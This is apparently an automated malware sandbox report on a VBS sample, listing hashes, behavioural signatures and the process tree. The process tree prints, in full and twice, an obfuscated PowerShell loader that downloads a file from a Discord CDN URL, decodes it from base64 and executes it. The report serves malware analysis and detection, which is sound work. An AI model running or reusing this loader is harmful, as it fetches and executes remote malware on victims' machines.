Analysis
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max time kernel
148s -
max time network
154s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
06/08/2023, 15:51
Static task
static1
Behavioral task
behavioral1
Sample
8dd3efc8964659b8c8543d8ccc9b76768cb98eab1080f17a3e7ef31f4df1a2e7vbs_JC.vbs
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
8dd3efc8964659b8c8543d8ccc9b76768cb98eab1080f17a3e7ef31f4df1a2e7vbs_JC.vbs
Resource
win10v2004-20230703-en
General
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Target
8dd3efc8964659b8c8543d8ccc9b76768cb98eab1080f17a3e7ef31f4df1a2e7vbs_JC.vbs
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Size
10KB
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MD5
9127b986f6b8b55cc8faa723accd3658
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SHA1
2c00263ac7b91fc3a150e3bba231e73d3d2672fb
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SHA256
8dd3efc8964659b8c8543d8ccc9b76768cb98eab1080f17a3e7ef31f4df1a2e7
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SHA512
838a0d995b3d14ab91147c6e4f963df34cddbe2ac344bdd98d3d5bdcea08d463725e878fc55395d0edb703d1b63b520fdce82b0fb2c6e949da4d9b594c85f4b6
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SSDEEP
192:EL2f6ltP1LsfgyTWEgF4nssbpPtNchpSKBZV7Ej9m+OSgGHTz:E6fUNwWMbNtNcnBva4QHTz
Malware Config
Signatures
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2484 powershell.exe 2420 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2484 powershell.exe Token: SeDebugPrivilege 2420 powershell.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 2392 wrote to memory of 2484 2392 WScript.exe 28 PID 2392 wrote to memory of 2484 2392 WScript.exe 28 PID 2392 wrote to memory of 2484 2392 WScript.exe 28 PID 2484 wrote to memory of 2420 2484 powershell.exe 31 PID 2484 wrote to memory of 2420 2484 powershell.exe 31 PID 2484 wrote to memory of 2420 2484 powershell.exe 31 PID 2484 wrote to memory of 2420 2484 powershell.exe 31
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8dd3efc8964659b8c8543d8ccc9b76768cb98eab1080f17a3e7ef31f4df1a2e7vbs_JC.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2392 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function ulcerous9 ([String]$Simulacras){For($Anterethic=1; $Anterethic -lt $Simulacras.Length-1; $Anterethic+=(1+1)){$Ankomst=$Simulacras.Substring($Anterethic, 1);$Vilbertunp=$Vilbertunp+$Ankomst}$Vilbertunp;}$Jaggerurog=ulcerous9 'ShUtRtwpVsE:S/E/Gc dPnS.Fd i s c oSrRd aRpSp . cPoCmP/FaItpt aFcIhamMe nctRsE/M1 0K7S5K6N4P1E3N1 9P5O2N4R9T2E5A4 4U2I/v1 1U3 6S0 5 7I9K9 9m8 4 9E4N3s1 0 4E0G/TPErBoPbS1 7 4p.MdIeLpTl oLyU ';$Vilbertunp01=ulcerous9 ' i eUxE ';$tsar = ulcerous9 'l\KsFyBsRwEoKw 6L4L\LWUi nAd oFwHsOPMoUw eAr S hAeLlalE\ v 1A.V0R\UpFoTwFe rTsRhSeTlAlT. e xDeS ';&($Vilbertunp01) (ulcerous9 'W$SSVtPo rFsNeLjFlle n 2B=U$FeIn vP:lwSiMnFdui r ') ;&($Vilbertunp01) (ulcerous9 'D$OtAsUaPr =P$GSStFo rIsMeBj lPeGnS2E+D$atNsGaCrt ') ;&($Vilbertunp01) (ulcerous9 'S$ISBkCiblUt S=F S(F(Ug wGm iP BwKiGn 3 2C_BpRruoRcLe sIsD V-FFB PtrPobcBeRsBsTIGdA=D$U{UPMI Db}N) .SCBoAmCmYaSnCdSLKiLnJeP)S -JsUpAlAiEtA B[FcmhKaPr ]N3T4s ');&($Vilbertunp01) (ulcerous9 ' $UjHuAr iAsEdDiSkA T=T R$ SAkAiPl tS[S$SSSkEiClAtS.Kc oIuFnAtF- 2U]r ');&($Vilbertunp01) (ulcerous9 'P$ PUeSdSaDn =E( TseKs tR-SPva tKhT K$BtPsTaUrP) L-TAHnRdW G(T[EIUnbtKP tMrD]C:F:PsPiszIeL -MeMqP R8L)D ') ;if ($Pedan) {.$tsar $jurisdik;} else {;$Vilbertunp00=ulcerous9 ' S tFa rKtA-KBBi tHsBTRr a nBsOfMe rA C-HS oRuCrccPeB $ JBaSgIg eDrpuUr oOgG -kD eKs tHignGaEt i oRnT c$KSDtFoSrTsBe jKlNeDnG2v ';&($Vilbertunp01) (ulcerous9 'F$ S tMoUrIsRefjRlceEn 2S=U$UeFnFvR:kaHpHpFd a tIaB ') ;&($Vilbertunp01) (ulcerous9 'sIUmapLoarCtN-DMAoCdJuSlveH SB iFtAsMT r a n sTfFeCrH ') ;$Storsejlen2=$Storsejlen2+'\Geullah.Fad';while (-not $Incurablen) {&($Vilbertunp01) (ulcerous9 ' $hIUnFcSu rFaNbOlDe nU=I(MTTeHsTtS-FPLa tChT N$TSctBoFrBsreEjOl eMna2Y)h ') ;&($Vilbertunp01) $Vilbertunp00;&($Vilbertunp01) (ulcerous9 'BS tAa rStE- S lFeKeApK R5K ');}&($Vilbertunp01) (ulcerous9 'E$BuAlTcAe rAoFu sa H=F gGAeNtA- CLoCnEt eVnStD a$RSgtPoOrEs eBj loeLnF2t ');&($Vilbertunp01) (ulcerous9 'M$SNfdAbFaStU I=D J[BSRyTsPtAe mH. CDoEnSvHeUrLt ]E:A:uFCrPoMmGBLa sOea6R4TSMtArJiUn gG(T$CuHlScdeDrSo uVs ) ');&($Vilbertunp01) (ulcerous9 ' $BVSiIlIbee r t u nHpT2P G=L i[dS y sStTeSmB.DTHeAxBtS. ESn cUoPdTiPnTgF]T:D:sAsSVCTI Iz.RGMeFtSSStArCiHn gM( $MNSdUbDaStH)D ');&($Vilbertunp01) (ulcerous9 'C$HCRoTrPrAeKsUpToI=B$SVNiSlNb eFr thuEnFp 2F.UsUuEbSsItBrFiCnNgp(K2G6Z0M0O3 1I,P1 9C7 2s0q)M ');&($Vilbertunp01) $Correspo;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function ulcerous9 ([String]$Simulacras){For($Anterethic=1; $Anterethic -lt $Simulacras.Length-1; $Anterethic+=(1+1)){$Ankomst=$Simulacras.Substring($Anterethic, 1);$Vilbertunp=$Vilbertunp+$Ankomst}$Vilbertunp;}$Jaggerurog=ulcerous9 'ShUtRtwpVsE:S/E/Gc dPnS.Fd i s c oSrRd aRpSp . cPoCmP/FaItpt aFcIhamMe nctRsE/M1 0K7S5K6N4P1E3N1 9P5O2N4R9T2E5A4 4U2I/v1 1U3 6S0 5 7I9K9 9m8 4 9E4N3s1 0 4E0G/TPErBoPbS1 7 4p.MdIeLpTl oLyU ';$Vilbertunp01=ulcerous9 ' i eUxE ';$tsar = ulcerous9 'l\KsFyBsRwEoKw 6L4L\LWUi nAd oFwHsOPMoUw eAr S hAeLlalE\ v 1A.V0R\UpFoTwFe rTsRhSeTlAlT. e xDeS ';&($Vilbertunp01) (ulcerous9 'W$SSVtPo rFsNeLjFlle n 2B=U$FeIn vP:lwSiMnFdui r ') ;&($Vilbertunp01) (ulcerous9 'D$OtAsUaPr =P$GSStFo rIsMeBj lPeGnS2E+D$atNsGaCrt ') ;&($Vilbertunp01) (ulcerous9 'S$ISBkCiblUt S=F S(F(Ug wGm iP BwKiGn 3 2C_BpRruoRcLe sIsD V-FFB PtrPobcBeRsBsTIGdA=D$U{UPMI Db}N) .SCBoAmCmYaSnCdSLKiLnJeP)S -JsUpAlAiEtA B[FcmhKaPr ]N3T4s ');&($Vilbertunp01) (ulcerous9 ' $UjHuAr iAsEdDiSkA T=T R$ SAkAiPl tS[S$SSSkEiClAtS.Kc oIuFnAtF- 2U]r ');&($Vilbertunp01) (ulcerous9 'P$ PUeSdSaDn =E( TseKs tR-SPva tKhT K$BtPsTaUrP) L-TAHnRdW G(T[EIUnbtKP tMrD]C:F:PsPiszIeL -MeMqP R8L)D ') ;if ($Pedan) {.$tsar $jurisdik;} else {;$Vilbertunp00=ulcerous9 ' S tFa rKtA-KBBi tHsBTRr a nBsOfMe rA C-HS oRuCrccPeB $ JBaSgIg eDrpuUr oOgG -kD eKs tHignGaEt i oRnT c$KSDtFoSrTsBe jKlNeDnG2v ';&($Vilbertunp01) (ulcerous9 'F$ S tMoUrIsRefjRlceEn 2S=U$UeFnFvR:kaHpHpFd a tIaB ') ;&($Vilbertunp01) (ulcerous9 'sIUmapLoarCtN-DMAoCdJuSlveH SB iFtAsMT r a n sTfFeCrH ') ;$Storsejlen2=$Storsejlen2+'\Geullah.Fad';while (-not $Incurablen) {&($Vilbertunp01) (ulcerous9 ' $hIUnFcSu rFaNbOlDe nU=I(MTTeHsTtS-FPLa tChT N$TSctBoFrBsreEjOl eMna2Y)h ') ;&($Vilbertunp01) $Vilbertunp00;&($Vilbertunp01) (ulcerous9 'BS tAa rStE- S lFeKeApK R5K ');}&($Vilbertunp01) (ulcerous9 'E$BuAlTcAe rAoFu sa H=F gGAeNtA- CLoCnEt eVnStD a$RSgtPoOrEs eBj loeLnF2t ');&($Vilbertunp01) (ulcerous9 'M$SNfdAbFaStU I=D J[BSRyTsPtAe mH. CDoEnSvHeUrLt ]E:A:uFCrPoMmGBLa sOea6R4TSMtArJiUn gG(T$CuHlScdeDrSo uVs ) ');&($Vilbertunp01) (ulcerous9 ' $BVSiIlIbee r t u nHpT2P G=L i[dS y sStTeSmB.DTHeAxBtS. ESn cUoPdTiPnTgF]T:D:sAsSVCTI Iz.RGMeFtSSStArCiHn gM( $MNSdUbDaStH)D ');&($Vilbertunp01) (ulcerous9 'C$HCRoTrPrAeKsUpToI=B$SVNiSlNb eFr thuEnFp 2F.UsUuEbSsItBrFiCnNgp(K2G6Z0M0O3 1I,P1 9C7 2s0q)M ');&($Vilbertunp01) $Correspo;}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2420
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ANCFUU1M3EYLBY4YY37G.temp
Filesize7KB
MD50a57d968ebffcb569a1083babdd65f09
SHA1928d83f954007062284c6290afbacd1f14a643bf
SHA256ea7a20dde7a5cb34856acc5ade1773ec457c2486ea09405515e2599b363922a3
SHA5128581511cac4fe3952b132c7a6cb2718e40e1b106dbd747a7cb345884db8b137641aab5bc6f089b05f069895db3eb5e1fe0098c80c8ac0e04c5ab2e7674dc5b64